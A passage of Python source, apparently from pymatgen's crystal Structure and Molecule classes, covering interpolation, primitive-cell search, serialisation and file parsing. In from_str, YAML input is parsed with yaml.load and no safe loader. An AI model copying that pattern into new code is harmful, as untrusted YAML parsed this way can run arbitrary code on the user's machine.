properties=site_props))\n new_sites = sorted(new_sites)\n return self.__class__.from_sites(new_sites)\n\n def interpolate(self, end_structure, nimages=10,\n interpolate_lattices=False, pbc=True, autosort_tol=0):\n \"\"\"\n Interpolate between this structure and end_structure. Useful for\n construction of NEB inputs.\n\n Args:\n end_structure (Structure): structure to interpolate between this\n structure and end.\n nimages (int): No. of interpolation images. Defaults to 10 images.\n interpolate_lattices (bool): Whether to interpolate the lattices.\n Interpolates the lengths and angles (rather than the matrix)\n so orientation may be affected.\n pbc (bool): Whether to use periodic boundary conditions to find\n the shortest path between endpoints.\n autosort_tol (float): A distance tolerance in angstrom in\n which to automatically sort end_structure to match to the\n closest points in this particular structure. This is usually\n what you want in a NEB calculation. 0 implies no sorting.\n Otherwise, a 0.5 value usually works pretty well.\n\n Returns:\n List of interpolated structures. The starting and ending\n structures included as the first and last structures respectively.\n A total of (nimages + 1) structures are returned.\n \"\"\"\n # Check length of structures\n if len(self) != len(end_structure):\n raise ValueError(\"Structures have different lengths!\")\n\n if not (interpolate_lattices or self.lattice == end_structure.lattice):\n raise ValueError(\"Structures with different lattices!\")\n\n # Check that both structures have the same species\n for i in range(len(self)):\n if self[i].species_and_occu != end_structure[i].species_and_occu:\n raise ValueError(\"Different species!\\nStructure 1:\\n\" +\n str(self) + \"\\nStructure 2\\n\" +\n str(end_structure))\n\n start_coords = np.array(self.frac_coords)\n end_coords = np.array(end_structure.frac_coords)\n\n if autosort_tol:\n dist_matrix = self.lattice.get_all_distances(start_coords,\n end_coords)\n site_mappings = collections.defaultdict(list)\n unmapped_start_ind = []\n for i, row in enumerate(dist_matrix):\n ind = np.where(row < autosort_tol)[0]\n if len(ind) == 1:\n site_mappings[i].append(ind[0])\n else:\n unmapped_start_ind.append(i)\n\n if len(unmapped_start_ind) > 1:\n raise ValueError(\"Unable to reliably match structures \"\n \"with auto_sort_tol = %f. unmapped indices \"\n \"= %s\" % (autosort_tol, unmapped_start_ind))\n\n sorted_end_coords = np.zeros_like(end_coords)\n matched = []\n for i, j in site_mappings.items():\n if len(j) > 1:\n raise ValueError(\"Unable to reliably match structures \"\n \"with auto_sort_tol = %f. More than one \"\n \"site match!\" % autosort_tol)\n sorted_end_coords[i] = end_coords[j[0]]\n matched.append(j[0])\n\n if len(unmapped_start_ind) == 1:\n i = unmapped_start_ind[0]\n j = list(set(range(len(start_coords))).difference(matched))[0]\n sorted_end_coords[i] = end_coords[j]\n\n end_coords = sorted_end_coords\n\n vec = end_coords - start_coords\n if pbc:\n vec -= np.round(vec)\n sp = self.species_and_occu\n structs = []\n\n if interpolate_lattices:\n # interpolate lattice matrices using polar decomposition\n from scipy.linalg import polar\n # u is unitary (rotation), p is stretch\n u, p = polar(np.dot(end_structure.lattice.matrix.T,\n np.linalg.inv(self.lattice.matrix.T)))\n lvec = p - np.identity(3)\n lstart = self.lattice.matrix.T\n\n for x in range(nimages + 1):\n if interpolate_lattices:\n l_a = np.dot(np.identity(3) + x / nimages * lvec, lstart).T\n l = Lattice(l_a)\n else:\n l = self.lattice\n fcoords = start_coords + x / nimages * vec\n structs.append(self.__class__(l, sp, fcoords,\n site_properties=self.site_properties))\n return structs\n\n def get_primitive_structure(self, tolerance=0.25):\n \"\"\"\n This finds a smaller unit cell than the input. Sometimes it doesn\"t\n find the smallest possible one, so this method is recursively called\n until it is unable to find a smaller cell.\n\n NOTE: if the tolerance is greater than 1/2 the minimum inter-site\n distance in the primitive cell, the algorithm will reject this lattice.\n\n Args:\n tolerance (float), Angstroms: Tolerance for each coordinate of a\n particular site. For example, [0.1, 0, 0.1] in cartesian\n coordinates will be considered to be on the same coordinates\n as [0, 0, 0] for a tolerance of 0.25. Defaults to 0.25.\n\n Returns:\n The most primitive structure found.\n \"\"\"\n # group sites by species string\n sites = sorted(self._sites, key=lambda s: s.species_string)\n grouped_sites = [\n list(a[1])\n for a in itertools.groupby(sites, key=lambda s: s.species_string)]\n grouped_fcoords = [np.array([s.frac_coords for s in g])\n for g in grouped_sites]\n\n # min_vecs are approximate periodicities of the cell. The exact\n # periodicities from the supercell matrices are checked against these\n # first\n min_fcoords = min(grouped_fcoords, key=lambda x: len(x))\n min_vecs = min_fcoords - min_fcoords[0]\n\n # fractional tolerance in the supercell\n super_ftol = np.divide(tolerance, self.lattice.abc)\n super_ftol_2 = super_ftol * 2\n\n def pbc_coord_intersection(fc1, fc2, tol):\n \"\"\"\n Returns the fractional coords in fc1 that have coordinates\n within tolerance to some coordinate in fc2\n \"\"\"\n d = fc1[:, None, :] - fc2[None, :, :]\n d -= np.round(d)\n np.abs(d, d)\n return fc1[np.any(np.all(d < tol, axis=-1), axis=-1)]\n\n # here we reduce the number of min_vecs by enforcing that every\n # vector in min_vecs approximately maps each site onto a similar site.\n # The subsequent processing is O(fu^3 * min_vecs) = O(n^4) if we do no\n # reduction.\n # This reduction is O(n^3) so usually is an improvement. Using double\n # the tolerance because both vectors are approximate\n for g in sorted(grouped_fcoords, key=lambda x: len(x)):\n for f in g:\n min_vecs = pbc_coord_intersection(min_vecs, g - f, super_ftol_2)\n\n def get_hnf(fu):\n \"\"\"\n Returns all possible distinct supercell matrices given a\n number of formula units in the supercell. Batches the matrices\n by the values in the diagonal (for less numpy overhead).\n Computational complexity is O(n^3), and difficult to improve.\n Might be able to do something smart with checking combinations of a\n and b first, though unlikely to reduce to O(n^2).\n \"\"\"\n\n def factors(n):\n for i in range(1, n + 1):\n if n % i == 0:\n yield i\n\n for det in factors(fu):\n if det == 1:\n continue\n for a in factors(det):\n for e in factors(det // a):\n g = det // a // e\n yield det, np.array(\n [[[a, b, c], [0, e, f], [0, 0, g]]\n for b, c, f in\n itertools.product(range(a), range(a),\n range(e))])\n\n # we cant let sites match to their neighbors in the supercell\n grouped_non_nbrs = []\n for gfcoords in grouped_fcoords:\n fdist = gfcoords[None, :, :] - gfcoords[:, None, :]\n fdist -= np.round(fdist)\n np.abs(fdist, fdist)\n non_nbrs = np.any(fdist > 2 * super_ftol[None, None, :], axis=-1)\n # since we want sites to match to themselves\n np.fill_diagonal(non_nbrs, True)\n grouped_non_nbrs.append(non_nbrs)\n\n num_fu = six.moves.reduce(gcd, map(len, grouped_sites))\n for size, ms in get_hnf(num_fu):\n inv_ms = np.linalg.inv(ms)\n\n # find sets of lattice vectors that are are present in min_vecs\n dist = inv_ms[:, :, None, :] - min_vecs[None, None, :, :]\n dist -= np.round(dist)\n np.abs(dist, dist)\n is_close = np.all(dist < super_ftol, axis=-1)\n any_close = np.any(is_close, axis=-1)\n inds = np.all(any_close, axis=-1)\n\n for inv_m, m in zip(inv_ms[inds], ms[inds]):\n new_m = np.dot(inv_m, self.lattice.matrix)\n ftol = np.divide(tolerance, np.sqrt(np.sum(new_m ** 2, axis=1)))\n\n valid = True\n new_coords = []\n new_sp = []\n new_props = collections.defaultdict(list)\n for gsites, gfcoords, non_nbrs in zip(grouped_sites,\n grouped_fcoords,\n grouped_non_nbrs):\n all_frac = np.dot(gfcoords, m)\n\n # calculate grouping of equivalent sites, represented by\n # adjacency matrix\n fdist = all_frac[None, :, :] - all_frac[:, None, :]\n fdist = np.abs(fdist - np.round(fdist))\n close_in_prim = np.all(fdist < ftol[None, None, :], axis=-1)\n groups = np.logical_and(close_in_prim, non_nbrs)\n\n # check that groups are correct\n if not np.all(np.sum(groups, axis=0) == size):\n valid = False\n break\n\n # check that groups are all cliques\n for g in groups:\n if not np.all(groups[g][:, g]):\n valid = False\n break\n if not valid:\n break\n\n # add the new sites, averaging positions\n added = np.zeros(len(gsites))\n new_fcoords = all_frac % 1\n for i, group in enumerate(groups):\n if not added[i]:\n added[group] = True\n inds = np.where(group)[0]\n coords = new_fcoords[inds[0]]\n for n, j in enumerate(inds[1:]):\n offset = new_fcoords[j] - coords\n coords += (offset - np.round(offset)) / (n + 2)\n new_sp.append(gsites[inds[0]].species_and_occu)\n for k in gsites[inds[0]].properties:\n new_props[k].append(gsites[inds[0]].properties[k])\n new_coords.append(coords)\n\n if valid:\n inv_m = np.linalg.inv(m)\n new_l = Lattice(np.dot(inv_m, self.lattice.matrix))\n s = Structure(new_l, new_sp, new_coords,\n site_properties=new_props,\n coords_are_cartesian=False)\n\n return s.get_primitive_structure(\n tolerance).get_reduced_structure()\n\n return self.copy()\n\n def __repr__(self):\n outs = [\"Structure Summary\", repr(self.lattice)]\n for s in self:\n outs.append(repr(s))\n return \"\\n\".join(outs)\n\n def __str__(self):\n outs = [\"Full Formula ({s})\".format(s=self.composition.formula),\n \"Reduced Formula: {}\"\n .format(self.composition.reduced_formula)]\n to_s = lambda x: \"%0.6f\" % x\n outs.append(\"abc : \" + \" \".join([to_s(i).rjust(10)\n for i in self.lattice.abc]))\n outs.append(\"angles: \" + \" \".join([to_s(i).rjust(10)\n for i in self.lattice.angles]))\n outs.append(\"Sites ({i})\".format(i=len(self)))\n data = []\n props = self.site_properties\n keys = sorted(props.keys())\n for i, site in enumerate(self):\n row = [str(i), site.species_string]\n row.extend([to_s(j) for j in site.frac_coords])\n for k in keys:\n row.append(props[k][i])\n data.append(row)\n from tabulate import tabulate\n outs.append(tabulate(data, headers=[\"#\", \"SP\", \"a\", \"b\", \"c\"] + keys,\n ))\n return \"\\n\".join(outs)\n\n def as_dict(self, verbosity=1, fmt=None, **kwargs):\n \"\"\"\n Dict representation of Structure.\n\n Args:\n verbosity (int): Verbosity level. Default of 1 includes both\n direct and cartesian coordinates for all sites, lattice\n parameters, etc. Useful for reading and for insertion into a\n database. Set to 0 for an extremely lightweight version\n that only includes sufficient information to reconstruct the\n object.\n fmt (str): Specifies a format for the dict. Defaults to None,\n which is the default format used in pymatgen. Other options\n include \"abivars\".\n **kwargs: Allow passing of other kwargs needed for certain\n formats, e.g., \"abivars\".\n\n Returns:\n JSON serializable dict representation.\n \"\"\"\n if fmt == \"abivars\":\n \"\"\"Returns a dictionary with the ABINIT variables.\"\"\"\n from pymatgen.io.abinit.abiobjects import structure_to_abivars\n return structure_to_abivars(self, **kwargs)\n\n latt_dict = self._lattice.as_dict(verbosity=verbosity)\n del latt_dict[\"@module\"]\n del latt_dict[\"@class\"]\n\n d = {\"@module\": self.__class__.__module__,\n \"@class\": self.__class__.__name__,\n \"lattice\": latt_dict, \"sites\": []}\n for site in self:\n site_dict = site.as_dict(verbosity=verbosity)\n del site_dict[\"lattice\"]\n del site_dict[\"@module\"]\n del site_dict[\"@class\"]\n d[\"sites\"].append(site_dict)\n return d\n\n @classmethod\n def from_dict(cls, d, fmt=None):\n \"\"\"\n Reconstitute a Structure object from a dict representation of Structure\n created using as_dict().\n\n Args:\n d (dict): Dict representation of structure.\n\n Returns:\n Structure object\n \"\"\"\n if fmt == \"abivars\":\n from pymatgen.io.abinit.abiobjects import structure_from_abivars\n return structure_from_abivars(cls=cls, **d)\n\n lattice = Lattice.from_dict(d[\"lattice\"])\n sites = [PeriodicSite.from_dict(sd, lattice) for sd in d[\"sites\"]]\n return cls.from_sites(sites)\n\n def to(self, fmt=None, filename=None, **kwargs):\n \"\"\"\n Outputs the structure to a file or string.\n\n Args:\n fmt (str): Format to output to. Defaults to JSON unless filename\n is provided. If fmt is specifies, it overrides whatever the\n filename is. Options include \"cif\", \"poscar\", \"cssr\", \"json\".\n Non-case sensitive.\n filename (str): If provided, output will be written to a file. If\n fmt is not specified, the format is determined from the\n filename. Defaults is None, i.e. string output.\n\n\n Returns:\n (str) if filename is None. None otherwise.\n \"\"\"\n from pymatgen.io.cif import CifWriter\n from pymatgen.io.vasp import Poscar\n from pymatgen.io.cssr import Cssr\n from pymatgen.io.xcrysden import XSF\n filename = filename or \"\"\n fmt = \"\" if fmt is None else fmt.lower()\n fname = os.path.basename(filename)\n\n if fmt == \"cif\" or fnmatch(fname, \"*.cif*\"):\n writer = CifWriter(self)\n elif fmt == \"poscar\" or fnmatch(fname, \"*POSCAR*\"):\n writer = Poscar(self)\n elif fmt == \"cssr\" or fnmatch(fname.lower(), \"*.cssr*\"):\n writer = Cssr(self)\n elif fmt == \"json\" or fnmatch(fname.lower(), \"*.json\"):\n s = json.dumps(self.as_dict())\n if filename:\n with zopen(filename, \"wt\") as f:\n f.write(\"%s\" % s)\n return\n else:\n return s\n elif fmt == \"xsf\" or fnmatch(fname.lower(), \"*.xsf*\"):\n if filename:\n with zopen(fname, \"wt\", encoding='utf8') as f:\n s = XSF(self).to_string()\n f.write(s)\n return s\n else:\n return XSF(self).to_string()\n else:\n import yaml\n\n try:\n from yaml import CSafeDumper as Dumper\n except ImportError:\n from yaml import SafeDumper as Dumper\n if filename:\n with zopen(filename, \"wt\") as f:\n yaml.dump(self.as_dict(), f, Dumper=Dumper)\n return\n else:\n return yaml.dump(self.as_dict(), Dumper=Dumper)\n\n if filename:\n writer.write_file(filename)\n else:\n return writer.__str__()\n\n @classmethod\n def from_str(cls, input_string, fmt, primitive=False, sort=False,\n merge_tol=0.0):\n \"\"\"\n Reads a structure from a string.\n\n Args:\n input_string (str): String to parse.\n fmt (str): A format specification.\n primitive (bool): Whether to find a primitive cell. Defaults to\n False.\n sort (bool): Whether to sort the sites in accordance to the default\n ordering criteria, i.e., electronegativity.\n merge_tol (float): If this is some positive number, sites that\n are within merge_tol from each other will be merged. Usually\n 0.01 should be enough to deal with common numerical issues.\n\n Returns:\n IStructure / Structure\n \"\"\"\n from pymatgen.io.cif import CifParser\n from pymatgen.io.vasp import Poscar\n from pymatgen.io.cssr import Cssr\n from pymatgen.io.xcrysden import XSF\n fmt = fmt.lower()\n if fmt == \"cif\":\n parser = CifParser.from_string(input_string)\n s = parser.get_structures(primitive=primitive)[0]\n elif fmt == \"poscar\":\n s = Poscar.from_string(input_string, False).structure\n elif fmt == \"cssr\":\n cssr = Cssr.from_string(input_string)\n s = cssr.structure\n elif fmt == \"json\":\n d = json.loads(input_string)\n s = Structure.from_dict(d)\n elif fmt == \"yaml\":\n import yaml\n d = yaml.load(input_string)\n s = Structure.from_dict(d)\n elif fmt == \"xsf\":\n s = XSF.from_string(input_string).structure\n else:\n raise ValueError(\"Unrecognized format `%s`!\" % fmt)\n\n if sort:\n s = s.get_sorted_structure()\n if merge_tol:\n s.merge_sites(merge_tol)\n return cls.from_sites(s)\n\n @classmethod\n def from_file(cls, filename, primitive=False, sort=False, merge_tol=0.0):\n \"\"\"\n Reads a structure from a file. For example, anything ending in\n a \"cif\" is assumed to be a Crystallographic Information Format file.\n Supported formats include CIF, POSCAR/CONTCAR, CHGCAR, LOCPOT,\n vasprun.xml, CSSR, Netcdf and pymatgen's JSON serialized structures.\n\n Args:\n filename (str): The filename to read from.\n primitive (bool): Whether to convert to a primitive cell\n Only available for cifs. Defaults to False.\n sort (bool): Whether to sort sites. Default to False.\n merge_tol (float): If this is some positive number, sites that\n are within merge_tol from each other will be merged. Usually\n 0.01 should be enough to deal with common numerical issues.\n\n Returns:\n Structure.\n \"\"\"\n if filename.endswith(\".nc\"):\n # Read Structure from a netcdf file.\n from pymatgen.io.abinit.netcdf import structure_from_ncdata\n s = structure_from_ncdata(filename, cls=cls)\n if sort:\n s = s.get_sorted_structure()\n return s\n\n from pymatgen.io.vasp import Vasprun, Chgcar\n from pymatgen.io.exciting import ExcitingInput\n from monty.io import zopen\n fname = os.path.basename(filename)\n with zopen(filename, \"rt\") as f:\n contents = f.read()\n if fnmatch(fname.lower(), \"*.cif*\"):\n return cls.from_str(contents, fmt=\"cif\",\n primitive=primitive, sort=sort,\n merge_tol=merge_tol)\n elif fnmatch(fname, \"*POSCAR*\") or fnmatch(fname, \"*CONTCAR*\"):\n s = cls.from_str(contents, fmt=\"poscar\",\n primitive=primitive, sort=sort,\n merge_tol=merge_tol)\n\n elif fnmatch(fname, \"CHGCAR*\") or fnmatch(fname, \"LOCPOT*\"):\n s = Chgcar.from_file(filename).structure\n elif fnmatch(fname, \"vasprun*.xml*\"):\n s = Vasprun(filename).final_structure\n elif fnmatch(fname.lower(), \"*.cssr*\"):\n return cls.from_str(contents, fmt=\"cssr\",\n primitive=primitive, sort=sort,\n merge_tol=merge_tol)\n elif fnmatch(fname, \"*.json*\") or fnmatch(fname, \"*.mson*\"):\n return cls.from_str(contents, fmt=\"json\",\n primitive=primitive, sort=sort,\n merge_tol=merge_tol)\n elif fnmatch(fname, \"*.yaml*\"):\n return cls.from_str(contents, fmt=\"yaml\",\n primitive=primitive, sort=sort,\n merge_tol=merge_tol)\n elif fnmatch(fname, \"*.xsf\"):\n return cls.from_str(contents, fmt=\"xsf\",\n primitive=primitive, sort=sort,\n merge_tol=merge_tol)\n elif fnmatch(fname, \"input*.xml\"):\n return ExcitingInput.from_file(fname).structure\n else:\n raise ValueError(\"Unrecognized file extension!\")\n if sort:\n s = s.get_sorted_structure()\n if merge_tol:\n s.merge_sites(merge_tol)\n\n s.__class__ = cls\n return s\n\n\nclass IMolecule(SiteCollection, MSONable):\n \"\"\"\n Basic immutable Molecule object without periodicity. Essentially a\n sequence of sites. IMolecule is made to be immutable so that they can\n function as keys in a dict. For a mutable molecule,\n use the :class:Molecule.\n\n Molecule extends Sequence and Hashable, which means that in many cases,\n it can be used like any Python sequence. Iterating through a molecule is\n equivalent to going through the sites in sequence.\n \"\"\"\n\n def __init__(self, species, coords, charge=0,\n spin_multiplicity=None, validate_proximity=False,\n site_properties=None):\n \"\"\"\n Creates a Molecule.\n\n Args:\n species: list of atomic species. Possible kinds of input include a\n list of dict of elements/species and occupancies, a List of\n elements/specie specified as actual Element/Specie, Strings\n (\"Fe\", \"Fe2+\") or atomic numbers (1,56).\n coords (3x1 array): list of cartesian coordinates of each species.\n charge (float): Charge for the molecule. Defaults to 0.\n spin_multiplicity (int): Spin multiplicity for molecule.\n Defaults to None, which means that the spin multiplicity is\n set to 1 if the molecule has no unpaired electrons and to 2\n if there are unpaired electrons.\n validate_proximity (bool): Whether to check if there are sites\n that are less than 1 Ang apart. Defaults to False.\n site_properties (dict): Properties associated with the sites as\n a dict of sequences, e.g., {\"magmom\":[5,5,5,5]}. The\n sequences have to be the same length as the atomic species\n and fractional_coords. Defaults to None for no properties.\n \"\"\"\n if len(species) != len(coords):\n raise StructureError((\"The list of atomic species must be of the\",\n \" same length as the list of fractional \",\n \"coordinates.\"))\n\n sites = []\n for i in range(len(species)):\n prop = None\n if site_properties:\n prop = {k: v[i] for k, v in site_properties.items()}\n sites.append(Site(species[i], coords[i], properties=prop))\n\n self._sites = tuple(sites)\n if validate_proximity and not self.is_valid():\n raise StructureError((\"Molecule contains sites that are \",\n \"less than 0.01 Angstrom apart!\"))\n\n self._charge = charge\n nelectrons = 0\n for site in sites:\n for sp, amt in site.species_and_occu.items():\n nelectrons += sp.Z * amt\n nelectrons -= charge\n self._nelectrons = nelectrons\n if spin_multiplicity:\n if (nelectrons + spin_multiplicity) % 2 != 1:\n raise ValueError(\n \"Charge of %d and spin multiplicity of %d is\"\n \" not possible for this molecule\" %\n (self._charge, spin_multiplicity))\n self._spin_multiplicity = spin_multiplicity\n else:\n self._spin_multiplicity = 1 if nelectrons % 2 == 0 else 2\n\n @property\n def charge(self):\n \"\"\"\n Charge of molecule\n \"\"\"\n return self._charge\n\n @property\n def spin_multiplicity(self):\n \"\"\"\n Spin multiplicity of molecule.\n \"\"\"\n return self._spin_multiplicity\n\n @property\n def nelectrons(self):\n \"\"\"\n Number of electrons in the molecule.\n \"\"\"\n return self._nelectrons\n\n @property\n def center_of_mass(self):\n \"\"\"\n Center of mass of molecule.\n \"\"\"\n center = np.zeros(3)\n total_weight = 0\n for site in self:\n wt = site.species_and_occu.weight\n center += site.coords * wt\n total_weight += wt\n return center / total_weight\n\n @property\n def sites(self):\n \"\"\"\n Returns a tuple of sites in the Molecule.\n \"\"\"\n return self._sites\n\n @classmethod\n def from_sites(cls, sites, charge=0, spin_multiplicity=None,\n validate_proximity=False):\n \"\"\"\n Convenience constructor to make a Molecule from a list of sites.\n\n Args:\n sites ([Site]): Sequence of Sites.\n charge (int): Charge of molecule. Defaults to 0.\n spin_multiplicity (int): Spin multicipity. Defaults to None,\n in which it is determined automatically.\n validate_proximity (bool): Whether to check that atoms are too\n close.\n \"\"\"\n props = collections.defaultdict(list)\n for site in sites:\n for k, v in site.properties.items():\n props[k].append(v)\n return cls([site.species_and_occu for site in sites],\n [site.coords for site in sites],\n charge=charge, spin_multiplicity=spin_multiplicity,\n validate_proximity=validate_proximity,\n site_properties=props)\n\n def break_bond(self, ind1, ind2, tol=0.2):\n \"\"\"\n Returns two molecules based on breaking the bond between atoms at index\n ind1 and ind2.\n\n Args:\n ind1 (int): Index of first site.\n ind2 (int): Index of second site.\n tol (float): Relative tolerance to test. Basically, the code\n checks if the distance between the sites is less than (1 +\n tol) * typical bond distances. Defaults to 0.2, i.e.,\n 20% longer.\n\n Returns:\n Two Molecule objects representing the two clusters formed from\n breaking the bond.\n \"\"\"\n sites = self._sites\n clusters = [[sites[ind1]], [sites[ind2]]]\n\n sites = [site for i, site in enumerate(sites) if i not in (ind1, ind2)]\n\n def belongs_to_cluster(site, cluster):\n for test_site in cluster:\n if CovalentBond.is_bonded(site, test_site, tol=tol):\n return True\n return False\n\n while len(sites) > 0:\n unmatched = []\n for site in sites:\n for cluster in clusters:\n if belongs_to_cluster(site, cluster):\n cluster.append(site)\n break\n else:\n unmatched.append(site)\n\n if len(unmatched) == len(sites):\n raise ValueError(\"Not all sites are matched!\")\n sites = unmatched\n\n return (self.__class__.from_sites(cluster)\n for cluster in clusters)\n\n def get_covalent_bonds(self, tol=0.2):\n \"\"\"\n Determines the covalent bonds in a molecule.\n\n Args:\n tol (float): The tol to determine bonds in a structure. See\n CovalentBond.is_bonded.\n\n Returns:\n List of bonds\n \"\"\"\n bonds = []\n for site1, site2 in itertools.combinations(self._sites, 2):\n if CovalentBond.is_bonded(site1, site2, tol):\n bonds.append(CovalentBond(site1, site2))\n return bonds\n\n def __eq__(self, other):\n if other is None:\n return False\n if len(self) != len(other):\n return False\n if self.charge != other.charge:\n return False\n if self.spin_multiplicity != other.spin_multiplicity:\n return False\n for site in self:\n if site not in other:\n return False\n return True\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n # For now, just use the composition hash code.\n return self.composition.__hash__()\n\n def __repr__(self):\n outs = [\"Molecule Summary\"]\n for s in self:\n outs.append(s.__repr__())\n return \"\\n\".join(outs)\n\n def __str__(self):\n outs = [\"Full Formula (%s)\" % self.composition.formula,\n \"Reduced Formula: \" + self.composition.reduced_formula,\n \"Charge = %s, Spin Mult = %s\" % (\n self._charge, self._spin_multiplicity),\n \"Sites (%d)\" % len(self)]\n for i, site in enumerate(self):\n outs.append(\" \".join([str(i), site.species_string,\n \" \".join([(\"%0.6f\" % j).rjust(12)\n for j in site.coords])]))\n return \"\\n\".join(outs)\n\n def as_dict(self):\n \"\"\"\n Json-serializable dict representation of Molecule\n \"\"\"\n d = {\"@module\": self.__class__.__module__,\n \"@class\": self.__class__.__name__,\n \"charge\": self._charge,\n \"spin_multiplicity\": self._spin_multiplicity,\n \"sites\": []}\n for site in self:\n site_dict = site.as_dict()\n del site_dict[\"@module\"]\n del site_dict[\"@class\"]\n d[\"sites\"].append(site_dict)\n return d\n\n @classmethod\n def from_dict(cls, d):\n \"\"\"\n Reconstitute a Molecule object from a dict representation created using\n as_dict().\n\n Args:\n d (dict): dict representation of Molecule.\n\n Returns:\n Molecule object\n \"\"\"\n species = []\n coords = []\n props = collections.defaultdict(list)\n\n for site_dict in d[\"sites\"]:\n species.append({Specie(sp[\"element\"], sp[\"oxidation_state\"])\n if \"oxidation_state\" in sp else\n Element(sp[\"element\"]): sp[\"occu\"]\n for sp in site_dict[\"species\"]})\n coords.append(site_dict[\"xyz\"])\n siteprops = site_dict.get(\"properties\", {})\n for k, v in siteprops.items():\n props[k].append(v)\n\n return cls(species, coords, charge=d.get(\"charge\", 0),\n spin_multiplicity=d.get(\"spin_multiplicity\"),\n site_properties=props)\n\n def get_distance(self, i, j):\n \"\"\"\n Get distance between site i and j.\n\n Args:\n i (int): Index of first site\n j (int): Index of second site\n\n Returns:\n Distance between the two sites.\n \"\"\"\n return self[i].distance(self[j])\n\n def get_sites_in_sphere(self, pt, r):\n \"\"\"\n Find all sites within a sphere from a point.\n\n Args:\n pt (3x1 array): Cartesian coordinates of center of sphere.\n r (float): Radius of sphere.\n\n Returns:\n [(site, dist) ...] since most of the time, subsequent processing\n requires the distance.\n \"\"\"\n neighbors = []\n for site in self._sites:\n dist = site.distance_from_point(pt)\n if dist <= r:\n neighbors.append((site, dist))\n return neighbors\n\n def get_neighbors(self, site, r):\n \"\"\"\n Get all neighbors to a site within a sphere of radius r. Excludes the\n site itself.\n\n Args:\n site (Site): Site at the center of the sphere.\n r (float): Radius of sphere.\n\n Returns:\n [(site, dist) ...] since most of the time, subsequent processing\n requires the distance.\n \"\"\"\n nn = self.get_sites_in_sphere(site.coords, r)\n return [(s, dist) for (s, dist) in nn if site != s]\n\n def get_neighbors_in_shell(self, origin, r, dr):\n \"\"\"\n Returns all sites in a shell centered on origin (coords) between radii\n r-dr and r+dr.\n\n Args:\n origin (3x1 array): Cartesian coordinates of center of sphere.\n r (float): Inner radius of shell.\n dr (float): Width of shell.\n\n Returns:\n [(site, dist) ...] since most of the time, subsequent processing\n requires the distance.\n \"\"\"\n outer = self.get_sites_in_sphere(origin, r + dr)\n inner = r - dr\n return [(site, dist) for (site, dist) in outer if dist > inner]\n\n def get_boxed_structure(self, a, b, c, images=(1, 1, 1),\n random_rotation=False, min_dist=1, cls=None, offset=None, no_cross=False):\n \"\"\"\n Creates a Structure from a Molecule by putting the Molecule in the\n center of a orthorhombic box. Useful for creating Structure for\n calculating molecules using periodic codes.\n\n Args:\n a (float): a-lattice parameter.\n b (float): b-lattice parameter.\n c (float): c-lattice parameter.\n images: No. of boxed images in each direction. Defaults to\n (1, 1, 1), meaning single molecule with 1 lattice parameter\n in each direction.\n random_rotation (bool): Whether to apply a random rotation to\n each molecule. This jumbles all the molecules so that they\n are not exact images of each other.\n min_dist (float): The minimum distance that atoms should be from\n each other. This is only used if random_rotation is True.\n The randomized rotations are searched such that no two atoms\n are less than min_dist from each other.\n cls: The Structure class to instantiate (defaults to pymatgen\n structure)\n offset: Translation to offset molecule from center of mass coords\n no_cross: Whether to forbid molecule coords from extending beyond\n boundary of box.\n\n Returns:\n Structure containing molecule in a box.\n \"\"\"\n if offset is None:\n offset = np.array([0,0,0])\n\n coords = np.array(self.cart_coords)\n x_range = max(coords[:, 0]) - min(coords[:, 0])\n y_range = max(coords[:, 1]) - min(coords[:, 1])\n z_range = max(coords[:, 2]) - min(coords[:, 2])\n\n if a <= x_range or b <= y_range or c <= z_range:\n raise ValueError(\"Box is not big enough to contain Molecule.\")\n lattice = Lattice.from_parameters(a * images[0], b * images[1],\n c * images[2],\n 90, 90, 90)\n nimages = images[0] * images[1] * images[2]\n coords = []\n\n centered_coords = self.cart_coords - self.center_of_mass + offset\n\n for i, j, k in itertools.product(list(range(images[0])),\n list(range(images[1])),\n list(range(images[2]))):\n box_center = [(i + 0.5) * a, (j + 0.5) * b, (k + 0.5) * c]\n if random_rotation:\n while True:\n op = SymmOp.from_origin_axis_angle(\n (0, 0, 0), axis=np.random.rand(3),\n angle=random.uniform(-180, 180))\n m = op.rotation_matrix\n new_coords = np.dot(m, centered_coords.T).T + box_center\n if no_cross == True:\n x_max, x_min = max(new_coords[:, 0]), min(new_coords[:, 0])\n y_max, y_min = max(new_coords[:, 1]), min(new_coords[:, 1])\n z_max, z_min = max(new_coords[:, 2]), min(new_coords[:, 2])\n if x_max > a or x_min < 0 or y_max > b or y_min < 0 or z_max > c or z_min < 0:\n raise ValueError(\"Molecule crosses boundary of box.\")\n if len(coords) == 0:\n break\n distances = lattice.get_all_distances(\n lattice.get_fractional_coords(new_coords),\n lattice.get_fractional_coords(coords))\n if np.amin(distances) > min_dist:\n break\n else:\n new_coords = centered_coords + box_center\n if no_cross == True:\n x_max, x_min = max(new_coords[:, 0]), min(new_coords[:, 0])\n y_max, y_min = max(new_coords[:, 1]), min(new_coords[:, 1])\n z_max, z_min = max(new_coords[:, 2]), min(new_coords[:, 2])\n if x_max > a or x_min < 0 or y_max > b or y_min < 0 or z_max > c or z_min < 0:\n raise ValueError(\"Molecule crosses boundary of box.\")\n coords.extend(new_coords)\n sprops = {k: v * nimages for k, v in self.site_properties.items()}\n\n if cls is None:\n cls = Structure\n\n return cls(lattice, self.species * nimages, coords,\n coords_are_cartesian=True,\n site_properties=sprops).get_sorted_structure()\n\n def get_centered_molecule(self):\n \"\"\"\n Returns a Molecule centered at the center of mass.\n\n Returns:\n Molecule centered with center of mass at origin.\n \"\"\"\n center = self.center_of_mass\n new_coords = np.array(self.cart_coords) - center\n return self.__class__(self.species_and_occu, new_coords,\n charge=self._charge,\n spin_multiplicity=self._spin_multiplicity,\n site_properties=self.site_properties)\n\n def to(self, fmt=None, filename=None):\n \"\"\"\n Outputs the molecule to a file or string.\n\n Args:\n fmt (str): Format to output to. Defaults to JSON unless filename\n is provided. If fmt is specifies, it overrides whatever the\n filename is. Options include \"xyz\", \"gjf\", \"g03\", \"json\". If\n you have OpenBabel installed, any of the formats supported by\n OpenBabel. Non-case sensitive.\n filename (str): If provided, output will be written to a file. If\n fmt is not specified, the format is determined from the\n filename. Defaults is None, i.e. string output.\n\n Returns:\n (str) if filename is None. None otherwise.\n \"\"\"\n from pymatgen.io.xyz import XYZ\n from pymatgen.io.gaussian import GaussianInput\n from pymatgen.io.babel import BabelMolAdaptor\n\n fmt = \"\" if fmt is None else fmt.lower()\n fname = os.path.basename(filename or \"\")\n if fmt == \"xyz\" or fnmatch(fname.lower(), \"*.xyz*\"):\n writer = XYZ(self)\n elif any([fmt == r or fnmatch(fname.lower(), 